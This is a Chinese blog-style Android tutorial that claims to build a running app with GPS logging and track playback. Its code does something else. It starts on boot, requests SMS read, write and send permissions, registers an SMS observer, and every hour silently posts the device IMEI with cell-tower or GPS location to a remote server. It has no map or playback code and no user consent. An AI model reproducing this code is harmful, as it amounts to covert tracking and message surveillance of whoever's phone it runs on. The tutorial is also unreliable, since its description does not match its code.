android开发一个定位和轨迹播放的程序

最近很多的跑步app，大概功能就是点击“开始”就自动定位，然后记录位置，上传到服务端（也有不上传的），最后将运动的轨迹在地图上显示出来。因为开启gps一般是每3、5秒就记录一下当前的gps，为此需要一个本地数据库支持，可以将位置信息每隔3秒记录一次并保存到本地数据库，然后设置一个消息服务，定时10分钟后上传一次本地数据库到服务器端，同时可以删除本地数据以减少数据空间占用量。

以下是代码：

配置文件：AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.totlbs.app" >

<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS"></uses-permission>
<uses-permission android:name="android.permission.RECEIVE_SMS"></uses-permission>
<uses-permission android:name="android.permission.READ_SMS"></uses-permission>
<uses-permission android:name="android.permission.WRITE_SMS"></uses-permission>
<application
android:allowBackup="true"
android:icon="@drawable/ic_launcher"
android:label="@string/app_name"
android:theme="@style/AppTheme" >
<activity
android:name="com.totlbs.app.MainActivity"
android:label="@string/app_name" >
<intent-filter>
<action android:name="android.intent.action.MAIN" />

<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name="com.totlbs.app.Service.GpsService"></service>
<service android:name="com.totlbs.app.Service.LbsService"></service>
<receiver android:name="com.totlbs.app.Receiver.BootCompletedReceiver">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
</application>

</manifest>

主程序布局页activity_main.xml

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:paddingLeft="@dimen/activity_horizontal_margin"
android:paddingRight="@dimen/activity_horizontal_margin"
android:paddingTop="@dimen/activity_vertical_margin"
android:paddingBottom="@dimen/activity_vertical_margin"
tools:context="com.totlbs.app.MainActivity">

<Button
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Start Service"
android:id="@+id/button"
android:layout_alignParentTop="true"
android:layout_centerHorizontal="true"
android:onClick="startService" />

</RelativeLayout>

主界面程序MainActivity.java

package com.totlbs.app;

import android.content.Intent;
import android.support.v7.app.ActionBarActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.Menu;
import android.view.MenuItem;
import android.view.View;

import com.totlbs.app.Service.GpsService;

public class MainActivity extends ActionBarActivity {

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}

public void startService(View view){
Intent newIntent = new Intent(MainActivity.this, GpsService.class);
newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意，必须添加这个标记，否则启动会失败
Log.i("GpsService", "Start Service");
startService(newIntent);
}

public void stopService(View view){
Intent newIntent = new Intent(MainActivity.this, GpsService.class);
//newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意，必须添加这个标记，否则启动会失败
Log.i("GpsService", "Stop Service");
stopService(newIntent);
}

@Override
public boolean onCreateOptionsMenu(Menu menu) {

// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}

@Override
public boolean onOptionsItemSelected(MenuItem item) {
// Handle action bar item clicks here. The action bar will
// automatically handle clicks on the Home/Up button, so long
// as you specify a parent activity in AndroidManifest.xml.
int id = item.getItemId();
if (id == R.id.action_settings) {
return true;
}
return super.onOptionsItemSelected(item);
}

}

GpsServer.java

package com.totlbs.app.Service;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.app.Service;
import android.content.ContentResolver;
import android.content.Intent;
import android.os.Binder;
import android.os.Handler;
import android.os.IBinder;
import android.util.Log;

import com.totlbs.app.Mobile.SMSConstant;
import com.totlbs.app.Mobile.SMSHandler;
import com.totlbs.app.Mobile.SMSObserver;
import com.totlbs.app.Receiver.BootCompletedReceiver;

import java.io.DataOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Calendar;

/**
* Created by Administrator on 14-5-15.
*/
public class GpsService extends Service {
private static final String TAG = "GpsService";
private SMSObserver mObserver;
@Override
public IBinder onBind(Intent intent) {
Log.i(TAG, "gbs_onBind");
return null;
}

@Override
public void onCreate() {
Log.i(TAG, "gbs_onCreate");
Intent intent =new Intent(GpsService.this, BootCompletedReceiver.class);
intent.setAction("com.totlbs.app.lbs.start");
PendingIntent sender=PendingIntent.getBroadcast(GpsService.this, 0, intent, 0);
AlarmManager alarm=(AlarmManager)getSystemService(ALARM_SERVICE);
alarm.setRepeating(AlarmManager.RTC_WAKEUP, System.currentTimeMillis(),60*60*1000,sender);
//开始短信监听
addSMSObserver();
super.onCreate();
}

@Override
public void onDestroy() {
Log.i(TAG, "gbs_onDestroy");
Intent intent =new Intent(GpsService.this, BootCompletedReceiver.class);
intent.setAction("com.totlbs.app.lbs.start");
PendingIntent sender=PendingIntent.getBroadcast(GpsService.this, 0, intent, 0);
AlarmManager alarm=(AlarmManager)getSystemService(ALARM_SERVICE);
alarm.cancel(sender);
//删除短信监听
this.getContentResolver().unregisterContentObserver(mObserver);
super.onDestroy();
System.exit(0);
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
Log.i(TAG, "gbs_onStartCommand");
return super.onStartCommand(intent, flags, startId);
}

public void addSMSObserver()
{
Log.i(TAG, "add a SMS observer. ");
ContentResolver resolver = getContentResolver();
Handler handler = new SMSHandler(GpsService.this);
mObserver = new SMSObserver(resolver, handler);
resolver.registerContentObserver(SMSConstant.CONTENT_URI, true, mObserver);
}
}

LbsService.java

package com.totlbs.app.Service;
import android.app.PendingIntent;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.location.LocationManager;
import android.net.Uri;
import android.os.Binder;
import android.os.IBinder;
import android.util.Log;

import com.totlbs.app.Util.GpsUtil;
import com.totlbs.app.Util.HttpUtil;
import com.totlbs.app.Util.PhoneUtil;

import java.io.DataOutputStream;
import java.io.InputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;

/**
* Created by Administrator on 14-5-15.
*/
public class LbsService extends Service {
private static final String TAG = "GpsService";

@Override
public IBinder onBind(Intent intent) {
Log.i(TAG, "lbs_onBind");
return null;
}

@Override
public void onCreate() {
Log.i(TAG, "lbs_onCreate");

super.onCreate();
}

@Override
public void onDestroy() {
Log.i(TAG, "lbs_onDestroy");
super.onDestroy();
}
@Override
public int onStartCommand(Intent intent, int flags, int startId) {
// TODO Auto-generated method stub
Log.i(TAG, "lbs_onStartCommand");
PhoneUtil.send(this);
/*
if(!isOPenGps(this)){
Log.i(TAG, "gps not open");
PhoneUtil.send(this);
}else{
Log.i(TAG, "gps open");
GpsUtil gu=new GpsUtil();
gu.getLocation(this);
}
*/
return super.onStartCommand(intent, flags, startId);
}

/**
* 判断GPS是否开启，GPS或者AGPS开启一个就认为是开启的
* @param context
* @return true 表示开启
*/
public  boolean isOPenGps(Context context) {
LocationManager lm= (LocationManager) context.getSystemService(Context.LOCATION_SERVICE);
// 通过GPS卫星定位，定位级别可以精确到街（通过24颗卫星定位，在室外和空旷的地方定位准确、速度快）
boolean gps = lm.isProviderEnabled(LocationManager.GPS_PROVIDER);
// 通过WLAN或移动网络(3G/2G)确定的位置（也称作AGPS，辅助GPS定位。主要用于在室内或遮盖物（建筑群或茂密的深林等）密集的地方定位）
//boolean network = lm.isProviderEnabled(LocationManager.NETWORK_PROVIDER);
if (gps) {
return true;
}

return false;
}
}

BootCompletedReceiver.java

package com.totlbs.app.Receiver;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import com.totlbs.app.Service.GpsService;
import com.totlbs.app.Service.LbsService;

/**
* Created by Administrator on 14-5-15.
*/
public class BootCompletedReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (intent.getAction().equals(Intent.ACTION_BOOT_COMPLETED))
{
Intent newIntent = new Intent(context, GpsService.class);
newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意，必须添加这个标记，否则启动会失败
Log.i("GpsService", "Start Gps Service");
context.startService(newIntent);
}else if(intent.getAction().equals("com.totlbs.app.lbs.start")){
Intent newIntent = new Intent(context, LbsService.class);
newIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);  //注意，必须添加这个标记，否则启动会失败
Log.i("GpsService", "Start Lbs Service");
context.startService(newIntent);
}else if(intent.getAction().equals("com.totlbs.app.lbs.stop")){
Intent newIntent = new Intent(context, LbsService.class);
Log.i("GpsService", "Stop Lbs Service");
context.stopService(newIntent);
}
}
}

GpsUtil.java

package com.totlbs.app.Util;

import android.content.Context;
import android.location.Criteria;
import android.location.GpsSatellite;
import android.location.GpsStatus;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.location.LocationProvider;
import android.os.Bundle;
import android.util.Log;

import java.util.Iterator;

/**
* Created by Administrator on 14-5-21.
*/
public class GpsUtil {
private LocationManager lm;
Location location;
String bestProvider;
boolean isget=false;
String TAG="GpsUtil";
String deviceid;
//位置监听
LocationListener locationListener=new LocationListener() {
/**
* 位置信息变化时触发
*/
public void onLocationChanged(Location location) {
send(location);
}

/**
* GPS状态变化时触发
*/
public void onStatusChanged(String provider, int status, Bundle extras) {
switch (status) {
//GPS状态为可见时
case LocationProvider.AVAILABLE:
Log.i(TAG, "当前GPS状态为可见状态");
break;
//GPS状态为服务区外时
case LocationProvider.OUT_OF_SERVICE:
Log.i(TAG, "当前GPS状态为服务区外状态");
break;
//GPS状态为暂停服务时
case LocationProvider.TEMPORARILY_UNAVAILABLE:
Log.i(TAG, "当前GPS状态为暂停服务状态");
break;
}
}

/**
* GPS开启时触发
*/
public void onProviderEnabled(String provider) {
Location location=lm.getLastKnownLocation(provider);
send(location);
}

/**
* GPS禁用时触发
*/
public void onProviderDisabled(String provider) {
send(null);
}

};

//状态监听
GpsStatus.Listener listener = new GpsStatus.Listener() {
public void onGpsStatusChanged(int event) {
switch (event) {
//第一次定位
case GpsStatus.GPS_EVENT_FIRST_FIX:
Log.i(TAG, "第一次定位");
break;
//卫星状态改变
case GpsStatus.GPS_EVENT_SATELLITE_STATUS:
Log.i(TAG, "卫星状态改变");
//获取当前状态
GpsStatus gpsStatus=lm.getGpsStatus(null);
//获取卫星颗数的默认最大值
int maxSatellites = gpsStatus.getMaxSatellites();
//创建一个迭代器保存所有卫星
Iterator<GpsSatellite> iters = gpsStatus.getSatellites().iterator();
int count = 0;
while (iters.hasNext() && count <= maxSatellites) {
GpsSatellite s = iters.next();
count++;
}
Log.i(TAG,"搜索到："+count+"颗卫星");
break;
//定位启动
case GpsStatus.GPS_EVENT_STARTED:
Log.i(TAG, "定位启动");
break;
//定位结束
case GpsStatus.GPS_EVENT_STOPPED:
Log.i(TAG, "定位结束");
break;
}
};
};
public void getLocation(Context ctx){
deviceid=PhoneUtil.getDeviceId(ctx);
lm=(LocationManager)ctx.getSystemService(Context.LOCATION_SERVICE);
bestProvider = lm.getBestProvider(getCriteria(), true);
lm.addGpsStatusListener(listener);
//注意：此处更新准确度非常低，推荐在service里面启动一个Thread，在run中sleep(10000);然后执行handler.sendMessage(),更新位置
lm.requestLocationUpdates(LocationManager.GPS_PROVIDER, 10000, 10, locationListener);
/////////////////////////////
new Thread(new Runnable(){
@Override    public void run() {
while (!isget) {
try {
Thread.sleep(3000);
Log.i(TAG, "wait 3 seconds");
} catch (InterruptedException e) {
e.printStackTrace();
}
if(lm!=null) {
//当结束服务时gps为空
// 获取经纬度
location = lm.getLastKnownLocation(bestProvider);
//如果gps无法获取经纬度，改用基站定位获取
if (location == null) {
Log.i(TAG, "gps location null");
}else {
Log.i(TAG, "success get location");
send(location);
isget=true;
}
}
}
}
}).start();
}

public  void send(Location loc){
if(loc!=null) {
Log.i(TAG, "时间：" + location.getTime());
Log.i(TAG, "经度：" + location.getLongitude());
Log.i(TAG, "纬度：" + location.getLatitude());
Log.i(TAG, "海拔：" + location.getAltitude());
new Thread() {
public void run() {
HttpUtil hu=new HttpUtil();
String pdata="deviceid="+deviceid+"&lng="+location.getLongitude()+"&lat="+ location.getLatitude()+"&t=gps";
hu.getHtml(Constant.LbsPostUrl, pdata, true, "utf-8");
}
;
}.start();
}
}
/**
* 返回查询条件
* @return
*/
private Criteria getCriteria(){
Criteria criteria=new Criteria();
//设置定位精确度 Criteria.ACCURACY_COARSE比较粗略，Criteria.ACCURACY_FINE则比较精细
criteria.setAccuracy(Criteria.ACCURACY_FINE);
//设置是否要求速度
criteria.setSpeedRequired(false);
// 设置是否允许运营商收费
criteria.setCostAllowed(false);
//设置是否需要方位信息
criteria.setBearingRequired(false);
//设置是否需要海拔信息
criteria.setAltitudeRequired(false);
// 设置对电源的需求
criteria.setPowerRequirement(Criteria.POWER_LOW);
return criteria;
}
}

PhoneUtil.java

package com.totlbs.app.Util;

import android.content.Context;
import android.location.Location;
import android.telephony.NeighboringCellInfo;
import android.telephony.TelephonyManager;
import android.telephony.cdma.CdmaCellLocation;
import android.telephony.gsm.GsmCellLocation;
import android.util.Log;

import java.util.ArrayList;
import java.util.List;

/**
* Created by Administrator on 14-5-21.
*/

public class PhoneUtil {
static String deviceid="";
static CellInfo cif=null;
public  static CellInfo getCellInfo(Context ctx){
TelephonyManager tm = (TelephonyManager) ctx.getSystemService(ctx.TELEPHONY_SERVICE);
//网络制式
int type = tm.getNetworkType();
/**
* 获取SIM卡的IMSI码
* SIM卡唯一标识：IMSI 国际移动用户识别码（IMSI：International Mobile Subscriber Identification Number）是区别移动用户的标志，
* 储存在SIM卡中，可用于区别移动用户的有效信息。IMSI由MCC、MNC、MSIN组成，其中MCC为移动国家号码，由3位数字组成，
* 唯一地识别移动客户所属的国家，我国为460；MNC为网络id，由2位数字组成，
* 用于识别移动客户所归属的移动网络，中国移动为00，中国联通为01,中国电信为03；MSIN为移动客户识别码，采用等长11位数字构成。
* 唯一地识别国内GSM移动通信网中移动客户。所以要区分是移动还是联通，只需取得SIM卡中的MNC字段即可
*/
String imsi = tm.getSubscriberId();
//为了区分移动、联通还是电信，推荐使用imsi来判断(万不得己的情况下用getNetworkType()判断，比如imsi为空时)
if(imsi!=null&&!"".equals(imsi)){
if (imsi.startsWith("46000") || imsi.startsWith("46002")) {// 因为移动网络编号46000下的IMSI已经用完，所以虚拟了一个46002编号，134/159号段使用了此编号
// 中国移动
return mobile(tm);
} else if (imsi.startsWith("46001")) {
// 中国联通
return union(tm);
} else if (imsi.startsWith("46003")) {
// 中国电信
return cdma(tm);
}
}else{
// 在中国，联通的3G为UMTS或HSDPA，电信的3G为EVDO
// 在中国，移动的2G是EGDE，联通的2G为GPRS，电信的2G为CDMA
// String OperatorName = tm.getNetworkOperatorName();
//中国电信
if (type == TelephonyManager.NETWORK_TYPE_EVDO_A
|| type == TelephonyManager.NETWORK_TYPE_EVDO_0
|| type == TelephonyManager.NETWORK_TYPE_CDMA
|| type ==TelephonyManager.NETWORK_TYPE_1xRTT){
return cdma(tm);
}
//移动(EDGE（2.75G）是GPRS（2.5G）的升级版，速度比GPRS要快。目前移动基本在国内升级普及EDGE，联通则在大城市部署EDGE。)
else if(type == TelephonyManager.NETWORK_TYPE_EDGE
|| type == TelephonyManager.NETWORK_TYPE_GPRS ){
return mobile(tm);
}
//联通(EDGE（2.75G）是GPRS（2.5G）的升级版，速度比GPRS要快。目前移动基本在国内升级普及EDGE，联通则在大城市部署EDGE。)
else if(type == TelephonyManager.NETWORK_TYPE_GPRS
||type == TelephonyManager.NETWORK_TYPE_EDGE
||type == TelephonyManager.NETWORK_TYPE_UMTS
||type == TelephonyManager.NETWORK_TYPE_HSDPA){
return union(tm);
}
}
return null;
}
public static void send(Context ctx){
deviceid=getDeviceId(ctx);
cif=getCellInfo(ctx);
if(cif!=null) {
Log.i("cell","send cell info");
new Thread() {
public void run() {
HttpUtil hu = new HttpUtil();
String pdata="deviceid="+deviceid+"&mcc="+cif.getMobileCountryCode()+"&mnc="+cif.getMobileNetworkCode()+"&cid="+cif.getCellId()+"&lac="+cif.getLocationAreaCode()+"&t=phone";
Log.i("",pdata);
hu.getHtml(Constant.LbsPostUrl, pdata, true, "utf-8");
}

;
}.start();
}else{
Log.i("cell","cell info null");
}
}
public static String getDeviceId(Context ctx){
TelephonyManager tm = (TelephonyManager) ctx.getSystemService(ctx.TELEPHONY_SERVICE);
return tm.getDeviceId();
}
/**
* 电信
*
* @param tm
*/
private static CellInfo cdma(TelephonyManager tm) {
CdmaCellLocation location = (CdmaCellLocation) tm.getCellLocation();
CellInfo info = new CellInfo();
info.setCellId(location.getBaseStationId());
info.setLocationAreaCode(location.getNetworkId());
info.setMobileNetworkCode(String.valueOf(location.getSystemId()));
info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
info.setRadioType("cdma");
return info;
}

/**
* 移动
*
* @param tm
*/
private static CellInfo mobile(TelephonyManager tm) {
GsmCellLocation location = (GsmCellLocation)tm.getCellLocation();
CellInfo info = new CellInfo();
info.setCellId(location.getCid());
info.setLocationAreaCode(location.getLac());
info.setMobileNetworkCode(tm.getNetworkOperator().substring(3, 5));
info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
info.setRadioType("gsm");
return info;
}

/**
*  联通
*
* @param tm
*/
private static CellInfo union(TelephonyManager tm) {
GsmCellLocation location = (GsmCellLocation)tm.getCellLocation();
CellInfo info = new CellInfo();
//经过测试，获取联通数据以下两行必须去掉，否则会出现错误，错误类型为JSON Parsing Error
info.setMobileNetworkCode(tm.getNetworkOperator().substring(3, 5));
info.setMobileCountryCode(tm.getNetworkOperator().substring(0, 3));
info.setCellId(location.getCid());
info.setLocationAreaCode(location.getLac());
info.setRadioType("gsm");
return info;
}
}

关于地图轨迹的展示可以使用百度或高德的api实现 ，比较简单，就不贴代码了。另外在地位的时候，会经常出现跳点，或有时回到超点，这个可以使用位置计算，如果在移动过程中当前点和上一点距离为0的话或很小，说明没有移动，可以不记录，以节省资源。